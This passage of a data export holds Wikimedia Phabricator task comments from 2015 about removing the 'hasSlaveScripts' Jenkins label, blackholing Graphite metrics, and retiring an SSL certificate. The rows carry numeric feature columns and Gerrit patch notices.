+[[https://gerrit.wikimedia.org/r/222282]]",,,1435839644,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+485516,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222282 had a related patch set uploaded (by Hashar):
+Stop generating mediawiki-core-phpcs (ununsed)
+
+[[https://gerrit.wikimedia.org/r/222282]]
+",,,1435839483,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+485515,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222281 merged by jenkins-bot:
+Migrate mediawiki-core-jslint to labs (on Trusty)
+
+[[https://gerrit.wikimedia.org/r/222281]]",,,1435839446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+485513,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222281 had a related patch set uploaded (by Hashar):
+Migrate 'mediawiki-core-jslint to labs (on Trusty)
+
+[[https://gerrit.wikimedia.org/r/222281]]
+",,,1435839266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+485512,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222280 merged by jenkins-bot:
+Migrate whitespaces jobs to labs (on Trusty)
+
+[[https://gerrit.wikimedia.org/r/222280]]",,,1435839134,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+485511,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222280 had a related patch set uploaded (by Hashar):
+Migrate whitespaces jobs to labs (on Trusty)
+
+[[https://gerrit.wikimedia.org/r/222280]]
+",,,1435838973,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+485478,"Remove use of label ""hasSlaveScripts"" in jobs","Current status:
+```
+$ ssh gallium.wikimedia.org 'grep -l hasSlaveScripts /var/lib/jenkins/jobs/*/config.xml|cut -d\/ -f6'
+erblint-HEAD
+mediawiki-core-jslint
+mediawiki-core-phpcs
+mediawiki-core-whitespaces
+mwext-CirrusSearch-whitespaces
+parsoidsvc-php-parsertests
+```",,,1435834405,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+485476,"Remove use of label ""hasSlaveScripts"" in jobs","Current status:
+```
+$ ssh gallium.wikimedia.org 'grep -l hasSlaveScripts /var/lib/jenkins/jobs/*/config.xml|cut -d\/ -f6'
+erblint-HEAD
+mediawiki-core-jslint
+mediawiki-core-phpcs
+mediawiki-core-whitespaces
+mwext-CirrusSearch-whitespaces
+mwext-Hanp-jslint
+operations-puppet-spec
+parsoidsvc-php-parsertests
+wikimedia-fundraising-tools-jslint
+```",,,1435834170,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0
+484943,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222123 merged by jenkins-bot:
+Migrate {name}-phpcs-HEAD to Precise labs
+
+[[https://gerrit.wikimedia.org/r/222123]]",,,1435763598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+484937,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222123 had a related patch set uploaded (by Hashar):
+Migrate {name}-phpcs-HEAD to Precise labs
+
+[[https://gerrit.wikimedia.org/r/222123]]
+",,,1435762517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+484915,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222115 merged by jenkins-bot:
+Migrate jshint/jsonlint/jslint jobs to wmflabs
+
+[[https://gerrit.wikimedia.org/r/222115]]",,,1435759537,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+484910,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222115 had a related patch set uploaded (by Hashar):
+Migrate jshint/jsonlint/jslint jobs to wmflabs
+
+[[https://gerrit.wikimedia.org/r/222115]]
+",,,1435759104,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+472942,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217504 merged by jenkins-bot:
+Migrate pplint-HEAD to labs and rm hasSlaveScripts
+
+[[https://gerrit.wikimedia.org/r/217504]]",,,1434029057,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+472938,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217504 had a related patch set uploaded (by Hashar):
+Migrate pplint-HEAD to labs and rm hasSlaveScripts
+
+[[https://gerrit.wikimedia.org/r/217504]]
+",,,1434028931,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+472933,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217503 merged by jenkins-bot:
+Migrate perllint to labs and rm hasSlaveScripts
+
+[[https://gerrit.wikimedia.org/r/217503]]",,,1434028677,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+472930,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217503 had a related patch set uploaded (by Hashar):
+Migrate perllint to labs and rm hasSlaveScripts
+
+[[https://gerrit.wikimedia.org/r/217503]]
+",,,1434028539,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+472536,"Remove use of label ""hasSlaveScripts"" in jobs","In the past, `hasSlaveScripts` was the only label to ensure jobs run on production slaves (without hardcoding individual slave hosts). We now have `productionSlaves` for this purpose.
+
+Any jobs left on production slaves after T86659 should probably be tied with `gallium`. Aside from things specifically running on gallium (e.g. publisher) I don't think we have any use cases for production slaves.",,,1433972993,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+472535,"Remove use of label ""hasSlaveScripts"" in jobs","`hasSlaveScripts` also to be the only label for production slaves (without hardcoding individual slave hosts). We now have `productionSlaves` for this purpose.
+
+Any jobs left on production slaves after T86659 should probably be tied with `gallium`. Aside from things specifically running on gallium (e.g. publisher) I don't think we have any use cases for production slaves.",,,1433972971,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+472097,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217249 merged by jenkins-bot:
+Migrate operations-puppet-{pep8,test} to labs
+
+[[https://gerrit.wikimedia.org/r/217249]]",,,1433935130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1
+472096,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217249 had a related patch set uploaded (by Hashar):
+Migrate operations-puppet-{pep8,test} to labs
+
+[[https://gerrit.wikimedia.org/r/217249]]
+",,,1433934909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1
+472095,"Remove use of label ""hasSlaveScripts"" in jobs","`grep -l hasSlaveScripts` yields jobs still having it. Updating task details with the list.
+",,,1433934804,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+472092,"Remove use of label ""hasSlaveScripts"" in jobs","`grep -l hasSlaveScripts` yields jobs still having it.
+
+That is all the -jslint jobs and:
+
+```
+erblint-HEAD
+jshint
+jsonlint
+mediawiki-core-phpcs
+mediawiki-core-phpcs-HEAD
+mediawiki-core-whitespaces
+mwext-AutomaticBoardWelcome-phpcs-HEAD
+mwext-Interwiki-phpcs-HEAD
+mwext-JSBreadCrumbs-phpcs-HEAD
+mwext-Mantle-phpcs-HEAD
+mwext-OnlineStatus-phpcs-HEAD
+mwext-Sentry-phpcs-HEAD
+mwext-SyntaxHighlight_GeSHi-phpcs-HEAD
+mwext-Translate-phpcs-HEAD
+mwext-TranslationNotifications-phpcs-HEAD
+mwext-TwnMainPage-phpcs-HEAD
+mwext-UniversalLanguageSelector-phpcs-HEAD
+mwext-UploadWizard-phpcs-HEAD
+mwext-Vector-phpcs-HEAD
+mwext-WebFonts-phpcs-HEAD
+mwext-WhitelistPages-phpcs-HEAD
+mwext-WikiGrok-phpcs-HEAD
+mwext-cldr-phpcs-HEAD
+operations-puppet-pep8
+operations-puppet-test
+parsoidsvc-php-parsertests
+perllint
+pplint-HEAD
+```",,,1433934581,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+472091,"Remove use of label ""hasSlaveScripts"" in jobs",Yeah that is a leftover of when the slaves did not have a clone of integration/jenkins.git.   It is part of {T86659},,,1433934520,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+101759,Ruthlessly eliminate impractical metrics from Graphite,"I argue that the principal challenge we face in monitoring for the foreseeable future is basic coverage: representing the state of every important service using metrics which are clear, concise, representative, understandable, well-defined, and actionable. This is a big job and it will take us a while to get there. In the interim, we should be ruthless about eliminating metrics which are vague, overspecialized, or redundant. Eliminating them will not only relieve pressure on our monitoring infrastructure, but also aid in discoverability by reducing the amount of clutter one has to wade through to get to the essential metrics.
+
+I propose we blackhole the following metrics in Graphite:
+
+* `*.sum_sq` (sum of squares) -- too specialized
+* `*.stddev` (standard deviation) -- too specialized
+* `*.upper` -- too vague
+* `*.lower` -- too vague
+
+When considering this proposal, please resist the temptation to think to yourself ""I am a smart person and know how to use standard deviation!"". Instead, consider if any of the dashboards you have created display this metric, and take that as an indicator of the utility of this measure.",Medium,50.0,1433791939,1436780017.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_description,resolved,True,c3,1,True,False,True,-4,True,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+490763,Ruthlessly eliminate impractical metrics from Graphite,"we're blackholing `stddev` and `sum_sq`, resolving",,,1436780017,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+471794,Ruthlessly eliminate impractical metrics from Graphite,"Change 214576 merged by Filippo Giunchedi:
+carbon-c-relay: blackhole stddev and sum_sq
+
+[[https://gerrit.wikimedia.org/r/214576]]",,,1433888513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+471195,Ruthlessly eliminate impractical metrics from Graphite,"Nope, what I actually wanted was sum :)",,,1433811442,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+471145,Ruthlessly eliminate impractical metrics from Graphite,"Change 214576 had a related patch set uploaded (by Ori.livneh):
+carbon-c-relay: blackhole stddev and sum_sq
+
+[[https://gerrit.wikimedia.org/r/214576]]
+",,,1433802652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+471061,Ruthlessly eliminate impractical metrics from Graphite,"We are using upper and lower in a couple of places (node heap monitoring, for example), so I'm not in favor of that part. The others sound okay, but then I'm wondering if it's really worth it. Based on what I have seen, we could probably win more by
+
+1) buying more / bigger SSDs to alleviate the disk space issue, and
+2) making sure to use client-side sampling on high-volume metrics.",,,1433795520,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1
+471059,Ruthlessly eliminate impractical metrics from Graphite,"We are using upper and lower in a couple of places (node heap monitoring, for example), so I'm not in favor of that part. The others sound okay, but then I'm wondering if it's really worth it. Based on what I have seen, we could probably win more by
+
+1) buying more SSDs to alleviate the disk space issue, and
+2) making sure to use client-side sampling on high-volume metrics.",,,1433795491,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1
+471017,Ruthlessly eliminate impractical metrics from Graphite,"I'm +1 too, @yuvipanda had a use for `lower` or `upper` once, related to number of failed tools in labs IIRC",,,1433792199,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0
+471016,Ruthlessly eliminate impractical metrics from Graphite,I'm pretty +1 on this.,,,1433792084,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+101618,Labs makes use of a SHA-1 Certificate,"I keep getting the following warning on Firefox's console:
+> This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.
+https://developer.mozilla.org/en-US/docs/Web/Security/Weak_Signature_Algorithm
+https://developer.mozilla.org/en/docs/Tools/Web_Console#Security_warnings_and_errors
+
+This happens for each
+> GET https://labels.wmflabs.org/auth/whoami/
+call from [[https://meta.wikimedia.org/wiki/Wiki_labels|Wiki labels]].",Medium,50.0,1433612869,1474083009.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-mvx4x7ywk2flsaku2dbk,True,PHID-TASK-b5nsymce5qeawyu6g5dq,task_description,duplicate,True,c3,1,False,False,False,-4,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+101571,delete and revoke SSL certificate rt.wikimedia.org," RT moved behind misc-web (I71315c476262e6) so the certificate is not needed anymore.
+",Medium,50.0,1433544839,1434059382.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-52ft7fgknfxmk4iom37d,task_description,declined,True,c3,1,True,False,True,-4,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+473373,delete and revoke SSL certificate rt.wikimedia.org,"So turned out we need this on its own for the email routing, rejecting the ticket now that Daniel has rolled back the changes.",,,1434059382,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+471702,delete and revoke SSL certificate rt.wikimedia.org,"Change 216332 merged by Dzahn:
+delete RT's SSL certificate
+
+[[https://gerrit.wikimedia.org/r/216332]]",,,1433880555,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+471694,delete and revoke SSL certificate rt.wikimedia.org,"Change 216332 had a related patch set uploaded (by Dzahn):
+delete RT's SSL certificate
+
+[[https://gerrit.wikimedia.org/r/216332]]
